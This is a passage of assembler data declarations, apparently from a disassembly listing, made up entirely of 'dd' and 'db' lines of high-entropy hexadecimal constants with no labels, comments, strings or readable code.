		dd 8090FF3Dh, 8900A0E8h, 1161EE34h, 0B37C95h, 0A84ED104h
		dd 6ECBEDDh, 8A2F1612h,	6B1C7400h, 454A321h, 0A0079FD4h
		dd 4870A058h, 5C7EC778h, 0FC95C018h, 4B1B70h, 35A4E484h
		dd 45C97D65h, 0B168D600h, 96CBBEB4h, 24A7037Fh,	0CE8BF7E3h
		dd 0A07C9000h, 11057BC3h, 3AB70034h, 40A1254Ah,	7830BF04h
		dd 62107116h, 0BDC900EDh, 0A7ADB480h, 0FB008109h, 59C62065h
		dd 0FF7A1A4h, 6813166Fh, 76DEA000h, 27E88BD6h, 8047BC3Bh
		dd 888F4ECh, 2ECAEBCCh,	40F4BDD5h, 0FE2E64D9h, 0E15C5700h
		dd 778922EDh, 0DCD20629h, 0E0E22651h, 7BA73F00h, 82A2BFEh
		dd 917A55h, 7273D774h, 3A1AF07Ch, 0ACB23B03h, 0F093F2DEh
		dd 5F2DF7h, 503818Ch, 1CDDB8FFh, 320C3500h, 0F1C794A3h
		dd 8EFA01B2h, 0A475E248h, 6B1BFC58h, 47042A77h,	4C9B7CF3h
		dd 0AB018083h, 0B4A1F061h, 859700DDh, 74434683h, 9303B90Ch
		dd 414990F1h, 0A85DABEDh, 0CDFA61h, 53D6FF70h, 0C562095Ah
		dd 0E209900h, 0E1FC073Ch, 0DDF0817Bh, 2EA6FC3Bh, 4FBC2C02h
		dd 48D9ABE7h, 73ACE184h, 0D302487h, 9D342424h, 0DF37896Dh
		dd 0BE54FA81h, 71126039h, 9AE81200h, 603A52A2h,	36CF0077h
		dd 0B044A962h, 1C99197Ah, 6D8C2E89h, 8AD742B0h,	1E50701Ah
		dd 12F13090h, 49A8C036h, 0DC0C97FCh, 280309E8h,	0F777C7h
		dd 0F92E2114h, 45D4532Ah, 782C5502h, 600840A2h,	0BF9618h
		dd 0C30DF9DEh, 7E1FAA8Dh, 5F310A00h, 25BDA476h,	0ABEA18h
		dd 79C0FF98h, 0C7F936C8h, 670648h, 338312DCh, 38D408Eh
		dd 5638DFF4h, 82DB150Ch, 9536BF8h, 0F3902000h, 52B4B0A6h
		dd 0EC3B1CB6h, 0FC0AC0B1h, 26D614D7h, 53E0130Fh, 0E3AF20F1h
		dd 9EC0F22h, 60FFF584h,	9CAA9802h, 0E66D3C60h
		db 0, 8Fh, 0CFh
		db 0E9h
		dd 54B83BB4h, 5F6A00EFh, 16A838DDh, 0EB3B55E2h,	7AAF006Ch
		dd 17F0C21h, 3F850048h,	8C829110h, 130734DFh, 0C35F4546h
		dd 0D48F66B0h, 53EC0041h, 0C9422773h, 7F00020Fh, 54B73E87h
		dd 90701C5Dh, 269600A5h, 0DD18E85Fh, 0E31EB610h, 0F64017FCh
		dd 985AADE1h, 0B1E4EFh,	3F93B463h, 4183736Eh, 0CEB5B300h
		dd 0A410605Fh, 0E5F80094h, 2E8413E7h, 8F00F3A3h, 436E7EB7h
		dd 9F8370h, 61C450Fh, 0F25AFC11h, 0EA23A200h, 42058703h
		dd 5DDB00EBh, 0B44FDF4Bh, 0C100D0C9h, 0F80E47CAh, 81ACB8h
		dd 643868CDh, 798A027Bh, 2446860Ch, 22FC2920h, 70B0EAB9h
		dd 0E4E8D700h, 658BB31Dh, 8D64005Ah, 38EE1A3Ah,	0D8A03C8Eh
		dd 8C1F3005h, 2C40DD40h, 7EDFAF1Eh, 86E239h, 7A65A4FDh
		dd 40E21275h, 6D4CF402h, 0ACC87B74h, 0F2D510E4h, 18B00DFh
		dd 810B5EF6h, 4400160Eh, 15EB63D6h, 0B1E985h, 36F3C96h
		dd 0A5184392h, 0C99F2B04h, 1C906B48h, 74C8370Dh, 65640C75h
		dd 13A19206h, 38E85C01h, 2F71908Ah, 41780880h, 95E2AF1Fh
		dd 0D935D00h, 82BCC467h, 468B0110h, 0B01DB629h,	200840AAh
		dd 2860CEAEh, 0A4C9A988h, 0C83F0213h, 7A8C59C4h, 0E417C07Dh
		dd 6F273E19h, 0FF130077h, 90ABDCE9h, 0B6182F7Dh, 0E1C9E830h
		dd 0EC08C3C5h, 98049238h, 0D4D310CFh, 4C9B00EFh, 4F7FB107h
		dd 0A95E2A1Eh, 3F908EF9h, 0FCB600A1h, 3C89755Ch, 0BA92A54Dh
		dd 30FABF0h, 7CE3A755h,	0ADDEF410h, 3E0EC09h, 0A3F368EFh
		dd 5DC88E5Ah, 4801738Bh, 5F3D9A41h, 0C0CF33E0h,	0E029AE43h
		dd 31980060h, 5185B891h, 8801D969h, 0EEEB018Ch,	9BCC5F07h
		dd 671501ABh, 99CFE057h, 57D2087h, 6E969201h, 2F64B994h
		dd 0E2D85BD1h, 649001Eh, 517F8986h, 9D15CD67h, 84E354h
		dd 3B0BC982h, 60E148ABh, 0F7301C80h, 14077D0Ah,	4787F8BBh
		dd 3CB038A3h, 6307C530h, 0FE26FCDCh, 58A0420Fh,	1C777293h
		dd 8232805h, 0EFBA381h,	2005586h, 306E527Bh, 73D2F813h
		dd 0B230D418h, 0FE67596h, 0DB88EC5Eh, 0E9AAC463h, 0C25015B0h
		dd 0A59C8700h, 332D016Ah, 167A004Ah, 0D636066Eh, 97054C20h
		dd 0CB613B77h, 0C400E45Fh, 0B9C5ADA8h, 474E8B1h, 0CE15A6D0h
		dd 6F449084h, 6201F3FFh, 7E312B11h, 0C97025EAh,	174900DDh
		dd 7D2871A5h, 0B700EFC5h, 0BCBD36F1h, 4AA5CE6h,	97C483BFh
		dd 0A8488BEh, 6D193F03h, 3FA8CE22h, 0F700B861h,	0C82AC0CAh
		dd 2800A215h, 63D0D576h, 38BEF365h, 970AD326h, 94A83445h
		dd 416087E3h, 3BAC1930h, 10742D30h, 3E40596h, 0B09163B7h
		dd 82FB3CD2h, 6EEC3900h, 57A41786h, 34580008h, 0AA02870Ch
		dd 0B10978D1h, 7F277B82h, 627EB580h, 46788139h,	434DDA00h
		dd 181190E1h, 0CDAD0014h, 172701A5h, 7C035186h,	358CA7F6h
		dd 0E21129E0h, 60DDF004h, 43107860h, 656154h, 3EC822CAh
		dd 635203BEh, 0D40C7FECh, 200BB259h, 6EBC00EBh,	1E9609A1h
		dd 4000279Dh, 92F54894h, 2DA587h, 0EC2F7B42h, 55CEAA2Bh
		dd 8106B400h, 886A19Bh,	0CB5A00EAh, 5E5DAF0Bh, 6D0046F1h
		dd 0E2F2A4Ch, 6E7462h, 0B5DA9807h, 107B228Eh, 3000EDFAh
		dd 25963F79h, 313C0Dh, 0DD92E063h, 0DC0B626Ch, 0B0002FF0h
		dd 0CC7B9DD7h, 18D909Fh, 7751273Ch, 47501262h, 7B000FF5h
		dd 5D7656Eh, 0BE4D983Dh, 97EF80C3h, 0FA1A543Ah,	0B2FC3Eh
		dd 8F4FE65Ch, 9F8B65E0h, 37C8BC00h, 1B6E9ADBh, 0A38D07E4h
		dd 90B37064h, 9D0C395Dh, 3928C13Ah, 254B9C29h, 0FCF3C880h
		dd 1DC7707h, 0FE6D2CE3h, 0F0C62A8Bh, 1107E145h,	0C582B958h
		dd 0B7C05FF0h, 2B78C9h,	930860Fh, 5D15BB87h, 0A48B6B00h
		dd 803C37A0h, 60E2ECA7h, 0DA0A6038h, 0CF00D928h, 157164A5h
		dd 8421CB7h, 17571A1Bh,	87C06E1Ch, 29880C2Bh, 799A0060h
		dd 0B1B3CC9Eh, 150030B4h, 9697D20Eh, 32E09Ch, 766D2623h
		dd 898B6A2Ah, 485C3B00h, 27CAA29Bh, 0C045000Ch,	0F5476420h
		dd 0DE0F78D6h, 80605925h, 0B513CD4Dh, 50B91E68h, 848C001Ch
		dd 4831F942h, 467C6F13h, 3D57A200h, 876C49h, 9F4FCD5Bh
		dd 512A6304h, 5939D03h,	9081D18Ah, 4C55B3A2h, 0C0060E4h
		dd 0A76ABB48h, 1B794DF2h, 40143001h, 0C08DB0C4h, 7113DE0h
		dd 94B3C172h, 0E4F270F5h, 8000872Fh, 299E774Ah,	2A1A6AE8h
		dd 8CB864h, 0D2C867Bh, 0DB593A83h, 0F322F0Dh, 0ACC8A0DEh
		dd 0FD761C38h, 2A1CC0A6h, 0BFEAD672h, 23E30A00h, 558F88B0h
		dd 0BA1600D7h, 0B90DD12Dh, 4F18F7A1h, 18606E21h, 0B27A4C1Dh
		dd 0F066AA03h, 0D180B779h, 2C009952h, 8EEB9709h, 0FA6DC329h
		dd 0B77009Fh, 49A27FF9h, 300832Dh, 32AC89A6h, 0F756F2h
		dd 391BFFE6h, 0B5A10A34h, 57D74B0Fh, 6838A0FEh,	4B0C848h
		dd 0A72C6944h, 863884AFh, 5858888Fh, 2B3309E0h,	5E282006h
		dd 0E8CA2A8h, 83E51C89h, 0C08493E5h, 0BB1DF0CAh, 0D649F207h
		dd 0D8407059h, 509DABA6h, 35C4A1h, 0EA4C8B30h, 93D2D1C8h
		dd 62FD4Ch, 0C9532999h,	0CC537E3h, 6128F69Bh, 0A50FDE82h
		dd 8065728Eh, 0B18266ADh, 1D7D5Fh, 0FD115657h, 5358D22Dh
		dd 0B960D000h, 0B2B3EDBCh, 92A20090h, 4FD627C6h, 3B001482h
		dd 0AF35F306h, 0D75F8Fh, 0A5EBE0A9h, 85CFAB2h, 0C9C63Ch
		dd 7C374569h, 0AEF798h,	70979233h, 0A96D6096h, 89428B05h
		dd 8C0569B7h, 84AB4FEAh, 8507C3AEh, 7608A800h, 0E1100EBDh
		dd 65230049h, 0A6F511E6h, 823CF7B5h, 975883CDh,	0D8E328A1h
		dd 487DC4h, 62D432DCh, 8BB9A7ABh, 13F7AA00h, 58870F34h
		dd 0FC2C001Eh, 0BE47295Dh, 5F77BFA2h, 0FB016A90h, 32A67267h
		dd 0C040E23Fh, 60D7F4h,	24587DEh, 17621BF9h, 0B9B03160h
		dd 99BBDDh, 6997A388h, 0A068F79Fh, 52B5151Eh, 0A077288Eh
		dd 82922E4Ah, 6B490058h, 90215E71h, 0FF481E2Dh,	0FD0B0000h
		dd 0C1A850F9h, 939C00BAh, 0A9B6FAFBh, 0D915A3F6h, 10902AC3h
		dd 509D42F3h, 7C90263Bh, 12357884h, 0B500BF50h,	6BED1CABh
		dd 5F00F7B7h, 5DD17246h, 0B0071369h, 186C05BDh,	3BDD3Dh
		dd 0EB26A4ECh, 23032D9Dh, 3ABDFB52h, 59B80048h,	81BAE34Eh
		dd 0C10CD9FEh, 584C6CDCh, 0F4190040h, 1A09A56Fh, 730452A7h
		dd 152E5C68h, 0D180DAC0h, 8E16003Bh, 0E884EECEh, 0F30022C3h
		dd 0FBE9611h, 0B270517h, 0C49F9304h, 6D6AEA00h,	65019499h
		dd 0ED48268Eh, 0D4CCD3C3h, 310C00D0h, 375BF2C6h, 0FF0F46FEh
		dd 4001D1F5h, 388DCEF0h, 2228000Eh, 0FC3E9311h,	871EB144h
		dd 9C8017C4h, 18464A78h, 45C1006Ch, 0CEF9A6D2h,	0FF240FD7h
		dd 0D1827C63h, 0E34270B6h, 814C875h, 66D800EFh,	4CE4B288h
		dd 8E3D95B0h, 0E73F75C1h, 4ADC804Fh, 2185E526h,	8A3900F6h
		dd 0ECAC6BBEh, 7616A4B9h, 0AA492423h, 40443017h, 87F43EE5h
		dd 250324C9h, 0DF7BCA85h, 0E275FF0h, 0C2E75B04h, 54802D80h
		dd 0FCC6609h, 7D16FC59h, 0ED46ACE0h, 0F8011939h, 2157F08Bh
		dd 0F4C88026h, 3097019Fh, 0A337CE3Fh, 0A96E0014h, 40B84D98h
		dd 0B168B400h, 0ACC2E801h, 0F5302016h, 7D548003h, 3ED3C1F4h
		dd 0DD3C28BCh, 2D7E5100h, 86D5AEC2h, 0C5A89700h, 3C7F631Eh
		dd 11BB0F76h, 85A07D61h, 6C133D8Dh, 0AEB3EC03h,	0C171EBh
		dd 6473E130h, 0B1775461h, 7CB02B28h, 8CF4410Fh,	0AC131D3Ch
		dd 4966D440h, 0C059C0B1h, 8FA81710h, 0AF007538h, 0AC4DEF95h
		dd 5F4DC92h, 970C544Bh
		dd 3A6C0FEAh, 102114C2h, 0CE05906h, 6C782BAEh, 0C0006171h
		dd 826EBF25h, 0B169ECh,	609FCFFFh, 9B9EF0Dh, 0E0520700h
		dd 3473D26Fh, 66238D3h,	0A09EDE00h, 2E893970h, 0A781091Dh
		dd 7E56840h, 3B838D59h,	3D809030h, 2805B32Fh, 0EC0C55FAh
		dd 0D97DE0DCh, 68ED43E6h, 8A5F0490h, 80A42361h,	0D556E160h
		dd 8E00A312h, 0F4580F55h, 0AA2D92Bh, 249461D3h,	0F5600384h
		dd 2848D474h, 3328672Fh, 7D24CB80h, 2DED0125h, 26D13A1Bh
		dd 0C0F2C97Fh, 0D707721Ah, 4875E778h, 3B9F0AF0h, 209C019h
		dd 113E9E0Bh, 1C5D0802h, 0F716EA0Dh, 404937E0h,	0D87BDE05h
		dd 0BC855E2Dh, 99F16883h, 27209E42h, 0A35000F2h, 80472E0Ch
		dd 0ED003743h, 9EFD285h, 6A6B06h, 75998CC8h, 542D0507h
		dd 0C7F01F4Bh, 0B772B5h, 0DB6425A8h, 40A3C59h, 0A0E2C513h
		dd 617BF400h, 2C2CF83h,	0CDAEA53Ah, 9C806FB5h, 0F131B426h
		dd 0C0A6D00h, 3A407432h, 2598A09Eh, 5E717A3h, 271C0073h
		dd 12C68315h, 0E553B703h, 482134h, 1DA03328h, 0A74AD823h
		dd 9F1F6E00h, 7E43760Ah, 0FCAE0E05h, 0C7EEFB22h, 33E3D3C0h
		dd 980B0370h, 807158D1h, 0E9BFF51Fh, 27B70717h,	300EF830h
		dd 0EE29186Bh, 7568FB0Fh, 5C6380A6h, 1EE984B7h,	1EF6A92h
		dd 9DDD0CF0h, 8DFC40ADh, 0AB079E10h, 4DB8726Fh,	0B1A47A80h
		dd 0D1433A69h, 0A2134089h, 0F6E1DE83h, 0DDC6ABB0h, 4CD33800h
		dd 0C2B05EFAh, 79602FE4h, 2E112240h, 84B6223Dh,	6EE65F76h
		dd 41FAD0C8h, 56168047h, 0A2B8D26h, 84BF0055h, 0D2CAC8C9h
		dd 0C40E6E9Ah, 0A043B5A2h, 532E370Fh, 0A90300D8h, 3E996B71h
		dd 860FA405h, 0C98881F5h, 0C7A300D5h, 7E527Fh, 37DBB126h
		dd 84A55B09h, 7C98C001h, 0AA459425h, 0FB6F0A8h,	5A370671h
		dd 0D20008EFh, 4B31AD57h, 984CB900h, 41EF9A7Ah,	0E2E0739h
		dd 2A5E63h, 1132765Bh, 0B0684Ch, 37486108h, 6196A088h
		dd 9A3EF01Dh, 0BA48602Eh, 0D628000h, 4CB54851h,	0AC530015h
		dd 9EFA3BC5h, 35007237h, 391E2C31h, 0E24F20h, 71C3B8EBh
		dd 0FC12AF82h, 9193CE13h, 0A540831Ch, 0CABFED1Bh, 30630060h
		dd 0C09F5FB6h, 3170D420h, 0E2006D90h, 0BDF338BFh, 9444EDh
		dd 523F88C3h, 242B7E7h,	44199E2Eh, 5A04F1Ch, 5CD44BB6h
		dd 2C1C803Dh, 0B40782FFh, 67859542h, 2724A550h,	0EA90010Ch
		dd 7BAC7DE8h, 1AD0D8E3h, 45977900h, 0E6729E41h,	0F0953B26h
		dd 3A0EA8C8h, 8FA166C6h, 70621C1Eh, 6700E20Eh, 0F0850110h
		dd 13B2C636h, 542FF666h, 8A000440h, 0EA9AA6E9h,	0C500FA5Ch
		dd 5DBF1592h, 3ECE699Dh, 1701B8A7h, 4FBC2125h, 0BBA8F7A6h
		dd 0FEF88DC2h, 513BF712h, 8EC1D81Ch, 4AA016Bh, 6E5F9300h
		dd 260F80h, 0C536513Dh,	0BD123244h, 6ACB282Eh, 80A74900h
		dd 9FDF7E4h, 8B6B50E1h,	0F6A0178Fh, 0CBCC9F8Eh,	9200D094h
		dd 8669018h, 2893BC0h, 6A27EB00h, 0C64231F1h, 1AF20300h
		dd 11FFD12h, 4BD8027Fh,	0B53D8875h, 0C39FE60h, 473A0978h
		dd 5900F75Eh, 36256F5Ch, 4116B9h, 0F0DC863h, 0A547CF33h
		dd 4B6C581Eh, 0C213C187h, 3861D660h, 0C59E003Fh, 1C69C69Ch
		dd 0A800AB59h, 75652EDEh, 61FB7h, 782505FCh, 3281EAA9h
		dd 0AAC58800h, 0D53EFE9h, 0A5BB0767h, 818E9838h, 205BA1FAh
		dd 548398Ch, 6F430FF4h,	7F137ED4h, 6C3DC800h, 0E3C980Dh
		dd 94530607h, 0B75FFA20h, 7C2EDE6Bh, 0A5006297h, 19D196Ch
		dd 0A38C028Dh, 20725431h, 0BB9A8C40h, 28004BF6h, 0FEA55396h
		dd 0E641391Bh, 4D2C000Ch, 716B4EF9h, 600A418h, 0AB8D8194h
		dd 92A65Ch, 0E291AA9h, 3AF2E52Bh, 4634CD00h, 0CE45268Fh
		dd 0EC0490BDh, 8C7A3Eh,	50E71B57h, 3C1FA1E3h, 0A2DB9D04h
		dd 0E8C0AE76h, 299651h,	19BEBF9h, 0D33BE44h, 783DA901h
		dd 0B23E3757h, 0FBD847F5h, 0DE7979h, 34BB62EEh,	911EDDC2h
		dd 0AA63E0Ah, 89879869h, 15007E0Ch, 0FC6BC5h, 90DF9194h
		dd 0BCA5F1ECh, 0E94BED00h, 0E78A21BFh, 0C57BA4h, 799D4DEAh
		dd 96D0901Ch, 13901B7Bh, 2694F800h, 0EEB0DB76h,	7170ABh
		dd 0E72F5384h, 0C646BF79h, 0FF161EE0h, 5C008D67h, 6DE537EFh
		dd 1C79F8h, 0B86CB0A1h,	775E0F2Ah, 8FB2F300h, 6F05ADA3h
		dd 0EAEF7C06h, 283600A1h, 2A7EF4E5h, 5102DFF3h,	1787347Ah
		dd 43FC40D7h, 0E260000Fh, 25271884h, 5C074F7Eh,	50215BDh
		dd 103380B9h, 0EBC92Ch,	0F6D2ABFBh, 0C54F2F04h,	0D00E892h
		dd 9C447985h, 7244867h,	0EB01A715h, 90CE87B5h, 60D632DFh
		dd 0CDB37401h, 3D31D94Ah, 863770h, 563BEAADh, 0A1E9751Ah
		dd 250CB800h, 0B51EE865h, 88C0F9Eh, 0D66160CCh,	71031869h
		dd 439BE3DCh, 39E81120h, 1050F06Eh, 74823887h, 54AEEF04h
		dd 0D093857Bh, 0BCBA450Ch, 0AD3C8D12h, 0C5607C90h, 2845E9F9h
		dd 6BD15400h, 4AE48CA4h, 0E283AE2h, 0DFF3B353h,	0EBF231Eh
		dd 23E33115h, 1649E93h,	11ADBA90h, 6059F0FBh, 0A005C68h
		dd 21A32BF7h, 9C8395h, 74AD9EF1h, 0A5C78270h, 0D59BA600h
		dd 3C522599h, 0AB7D0095h, 96627548h, 0E3003A72h, 0CBBDB5E1h
		dd 0DB4B86h, 0D780EE12h, 4228D25Ch, 0D82CF9ECh,	8B0779BBh
		dd 78D0D0B3h, 34C5DDEh,	600C054Eh, 0DFC3F965h, 0EEA3FBA0h
		dd 0C9077700h, 93E45A14h, 83B80069h, 4276253Eh,	0B200A109h
		dd 7BF6F46Ah, 1E20681h,	944375A2h, 206FD319h, 1E0015ABh
		dd 0BB90140Dh, 3EA05429h, 0F1009860h, 9D873B44h, 0D209123Fh
		dd 48E033BCh, 3DDEB8ECh, 4001B1A2h, 0F8DB14CDh,	80B3D1C2h
		dd 0A2466121h, 138FA61Bh, 0DD1785h, 0AB5A333h, 2E07F960h
		dd 0AFBDD65Bh, 5811E760h, 8269342Fh, 99D84022h,	54664D88h
		dd 0ACED9D03h, 0A3F42D3Ch, 13210008h, 825C4D30h, 5E359301h
		dd 0A0D0A8E9h, 9AC2083h, 47D39D9Ah, 20E79E06h, 6F30597Dh
		dd 11E418F7h, 62712448h, 0B0CE8790h, 0D444B2EDh, 0CDE9E540h
		dd 21D708CCh, 0EC881F2Eh, 150600B7h, 0C73EAE2h,	907A3700h
		dd 0B22363C4h, 6EC60535h, 229B0343h, 0E430F99Ch, 33AF11A2h
		dd 80A58850h, 32A24C1Bh, 9D00C45Dh, 82DB7941h, 51B31E75h
		dd 94039826h, 386FC111h, 0A892108Bh, 0B2EFCA00h, 0B7006283h
		dd 2A9E4522h, 1FE14EB3h, 0C0095F57h, 528DEBF4h,	0AE0C85Dh
		dd 0E194D8F1h, 50A9CE00h, 0EDE729B7h, 161A006Ah, 3DBAAAECh
		dd 68009FFEh, 256C8B3Fh, 37531ABh, 60AF81E6h, 0BB982332h
		dd 0D63878A6h, 166883FEh, 0C89B3D47h, 142C58F8h, 0B3BF2BE9h
		dd 0C28A6F03h, 2EE0F91Fh, 0DA18B47Bh, 4B287673h, 5EF700E8h
		dd 0C4BEFA9Dh, 72078744h, 0F56B77EAh, 0F43E7BC0h, 31070C14h
		dd 0BE115C8Fh, 1A7CF307h, 0C033A6F1h, 3008CED9h, 95207AA8h
		dd 0B2067B48h, 0E15DBAF1h, 4944C149h, 0F08A9379h, 7600AF66h
		dd 0EB8D1DCh, 197D4816h, 0A8192F2Ah, 0C3A5254Dh, 5B5E5007h
		dd 2C0088DFh, 1D5AA012h, 18A3FA84h, 37BA210Fh, 29A78803h
		dd 3CADE4D1h, 91608CF8h, 4BE8C69Bh, 9A228700h, 82D366C2h
		dd 5FA006D5h, 0CA84817h, 0CCE87612h, 10B05118h,	0DFBF0091h
		dd 1CA782D2h, 7000AC6Bh, 90F9E168h, 7F0137F3h, 4FF11A5Eh
		dd 894070B2h, 0C10F8AC9h, 0E4EE20A0h, 0C580AB86h, 826231h
		dd 96FF3DB3h, 0C05978BBh, 0B675E600h, 74F5165Eh, 97C23BCFh
		dd 55E8A800h, 0EB38D595h, 0B8F2B706h, 0E838072Dh, 7F6E37FFh
		dd 0D9C98008h, 8E014D19h
		dd 0FB4CC57Eh, 82DCFDEFh, 615D0007h, 9E2EF37Ch,	0FA3CAB26h
		dd 634E8092h, 430E108Eh, 105F8A8h, 960A2B99h, 0EC06ED38h
		dd 70C03F87h, 48C7FCFFh, 5A56014Dh, 0C6E1C18Ch,	3539CC92h
		dd 5EFDAB00h, 52125DFh,	0DCC8004Eh, 2DB01964h, 3F003332h
		dd 0FC41A0CDh, 60C99Dh,	398D305Eh, 1ED556ABh, 0A70087E8h
		dd 0CD86B78h, 633D2C4Eh, 9BBF4063h, 0BCD01928h,	0C9916033h
		dd 0E8FDB30Dh, 3FDE6147h, 4E0110B0h, 0F53BA032h, 0FCC8C736h
		dd 380F6923h, 0A03EDCD9h, 6E9AE765h, 0FC904FC6h, 0ECEF1EC5h
		dd 75452141h, 318CE6A2h, 0E5088EE4h, 79547600h,	8C9481B8h
		dd 0F03B00D9h, 0B0062BDCh, 87055B5Ch, 1B168669h, 0C31081EEh
		dd 0EF65C4C1h, 0DA91CD00h, 1C5B46FFh, 0A360EBA6h, 587461ABh
		dd 8275D423h, 2AD69C4Ah, 322C0C0h, 0FAF9807h, 1B8B9FDDh
		dd 91753F41h, 0C59980E9h, 40B337C9h, 2D6F004Dh,	0D9AE06C8h
		dd 0E6F8B465h, 3E949506h, 131EC8Bh, 0B0AE64EAh,	60420940h
		dd 0AA5808B4h, 41330068h, 7281CE14h, 766C0E26h,	0EB605943h
		dd 16EE7FEAh, 0E6FDC300h, 0D5B37750h, 0EFBB03D3h, 93C494DAh
		dd 6CF8C060h, 2A992E10h, 98EAE4h, 91F82609h, 162D6631h
		dd 0BA7341Bh, 27F6D031h, 0CAFF00D6h, 297067D4h,	0EE031AAEh
		dd 62A1A4DAh, 16F88895h, 0ED9307F4h, 6B7A617Ch,	0E880BD54h
		dd 14175205h, 880D1A32h, 41610EBh, 85B2D518h, 0EA3B6310h
		dd 0ED7D00E6h, 8DA34D2Eh, 6F00B9D7h, 9CF82BACh,	1F3D955h
		dd 7E83E8CDh, 0E819E9A9h, 690047B9h, 820E0C6Eh,	251C0ECh
		dd 1B536D18h, 0B8C00B29h, 0BD013190h, 45A895E3h, 0E9E8B5DAh
		dd 70AE036Fh, 0A53FB34Eh, 0DE42A3B8h, 8D028000h, 57A769A4h
		dd 0CEEF0040h, 1BD413C5h, 230092BCh, 5607FEC9h,	868CA8h
		dd 42D8C4E9h, 0F0C0CC45h, 0A610C307h, 5F8051FBh, 1D7CB06h
		dd 0F8EF4248h, 0C4D4DDABh, 5D002FF4h, 0B1534A0Eh, 0A9C78Dh
		dd 670DC324h, 6B19D74Dh, 5528FF00h, 0B3134C34h,	31FA02CDh
		dd 4A42351Ch, 85904543h, 0E50073BBh, 30458707h,	848DF9h
		dd 14B657CCh, 1FB488CFh, 25312C02h, 809140E7h, 57074CB4h
		dd 0A84603ABh, 6ABDB36Fh, 8DE2C788h, 0CD0F177Bh, 60144B88h
		dd 0F4AA3AF5h, 3D6FE77h, 5A4EF3F8h, 50970456h, 0DEAF291Eh
		dd 2A69E24Ch, 3F00E840h, 6A6CABC4h, 78CC797h, 50568303h
		dd 58DD3081h, 0AE001432h, 0A5B73940h, 779E85A0h, 1A080030h
		dd 7919ED5Fh, 11015427h, 0CD5181Bh, 0FF603F50h,	0BE7400FAh
		dd 78BABC44h, 0C80039F1h, 0AEBDA4CCh, 3F91716Bh, 708143D1h
		dd 0E0849F69h, 70D7EDDBh, 8F00EC0Bh, 9C37C008h,	12D1B8h
		dd 9E276460h, 9488483Ah, 0C0872132h, 9728A059h,	1C70A826h
		dd 8EC67D39h, 0F5208C04h, 8569965Ah, 0E9000872h, 0A41A9BBAh
		dd 40A9A7h, 44049E2Ch, 50F98EABh, 600617FEh, 6315CF05h
		dd 3F1D0070h, 1A1C782h,	3075F526h, 2F66A00Fh, 270DA1B8h
		dd 9024B321h, 0D113002Ch, 0A6209A1Eh, 6F1E807Bh, 6267D97h
		dd 5E69A100h, 7755C44h,	2720CBA3h, 90A8F7AAh, 1C3A92C5h
		dd 9D3D1600h, 22AC8C08h, 0F50300E0h, 0C8FDFF2Fh, 18011C05h
		dd 0E8EC8453h, 0D8F34FF0h, 79AFE78h, 0DDA1C3BEh, 45A3C05Dh
		dd 0D100941Ch, 0F1727DABh, 0BD4055h, 8E6F7BF9h,	384CF29Ch
		dd 318F448h, 53207489h,	0B677A0ADh, 42D5288Ch, 0E0600F8h
		dd 83CF5C7Bh, 7430270Ch, 1C25E9A4h, 117A7Fh, 7571BDBEh
		dd 0F50973C3h, 0A5F28400h, 5FB912AEh, 0A444004Bh, 0B0EF4762h
		dd 58C0DA54h, 1EA5070h,	0DFCD00F0h, 0C0DEA336h,	5F48C4B1h
		dd 46EB006Eh, 0F62F19EFh, 0D0E000B5h, 0A41D22A0h, 1200E329h
		dd 9E4F85A6h, 0B3BAB0h,	5CE7B7F2h, 0D77E65DBh, 0FA2D6203h
		dd 57A308h, 9ECCDE34h, 0F5ADB7B2h, 0F18F9A12h, 88D2AC00h
		dd 0FCDFE549h, 0D91E005Eh, 84087A4Eh, 0C0008992h, 0FC9CABDCh
		dd 0F343FFEh, 37367B68h, 188073C0h, 131D1CADh, 0B0C0EC08h
		dd 0F9D3F026h, 0CFA60159h, 788EF5AAh, 96688090h, 0C038F38Bh
		dd 0F1500B2h, 4096766h,	944E329Ch, 240334C0h, 461000E5h
		dd 0FD83EC9Bh, 88004BB7h, 12DE2A29h, 603C815Bh,	65910A5h
		dd 2F06B31Ch, 9F8B3FECh, 5E1B0029h, 7CB25D0Ah, 0FF00F0EDh
		dd 45619C98h, 5F7D59h, 63E97288h, 42C47F60h, 1B84EB54h
		dd 666EAB00h, 0D99A6782h, 1249A21h, 7E3335Eh, 0DC1430D1h
		dd 2E503759h, 9300E5D4h, 0C28315C8h, 0F032DF53h, 0BB7502D7h
		dd 0FD488A64h, 0EB096940h, 213EC51Fh, 52CDC880h, 7D6E77h
		dd 0E22A8235h, 70C52320h, 0F98610C0h, 30A0C4h, 0B9C7B553h
		dd 0E659A5Ch, 61FB5800h, 0F352FAF7h, 8B4F0086h,	2A18FD4Eh
		dd 34388174h, 0C2258FB5h, 0B97CC0CBh, 731EBBh, 3551C5Eh
		dd 40E93AEFh, 86422E00h, 7B9934Dh, 413B0008h, 0DE5E7B65h
		dd 6C1FC5B3h, 0A9C0B6BCh, 1B5150BAh, 0D952009Fh, 812097C3h
		dd 0E91E963Bh, 840B486h, 0A2A926A5h, 977D0727h,	60804A41h
		dd 0D8562ACEh, 3C41E3Ch, 0CC6541Fh, 860180F1h, 37F5002Eh
		dd 56E302EEh, 31005AFFh, 9566E828h, 0C3B538h, 0EF4A9959h
		dd 0C48149CCh, 5C985500h, 8B058F24h, 140900EAh,	5DEBE967h
		dd 0DA0E75EEh, 7CDF52A0h, 0AB825981h, 96D4ACCAh, 0FB7A009Fh
		dd 0ABF644Eh, 8E078794h, 8A0245DEh, 3B700D90h, 0AC6700A9h
		dd 0FE258BEAh, 71000E6Ah, 6E81057Bh, 14A5FCBBh,	0AF095FA4h
		dd 0D1376700h, 7AC2517Dh, 0DDC82728h, 0AB014775h, 0A0745C69h
		dd 2C0CF1Ah, 6EFC07D3h,	0EE21DAF9h, 0FF086B40h,	8300EAA1h
		dd 0DC9FD082h, 9812BEEFh, 0D7B50h, 37C1ED81h, 0BD1A1C6Eh
		dd 93383500h, 51A7A305h, 467303E1h, 68B00FE2h, 89002075h
		dd 0E112552h, 0ACF919h,	0DDD596B5h, 439D9E72h, 7C642800h
		dd 0CCD3215Ch, 87542CEFh, 3F8B8078h, 151DDADEh,	33FD1400h
		dd 0A1341C94h, 9A8A00E7h, 78CB8D72h, 6A008677h,	0AB2DC405h
		dd 0A822B1h, 5272A741h,	9C2CF257h, 770BD500h, 0C68ECBD9h
		dd 94BA7Bh, 9709F337h, 0BE5E1CA4h, 0B61B9C00h, 7D7864E6h
		dd 8688C72Ch, 0D870C181h, 51119E65h, 50F4003Dh,	7A71D0A5h
		dd 8EFF00C0h, 76E95C8Ch, 0D3EE03Bh, 0BFDFBC4Fh,	82BB97AEh
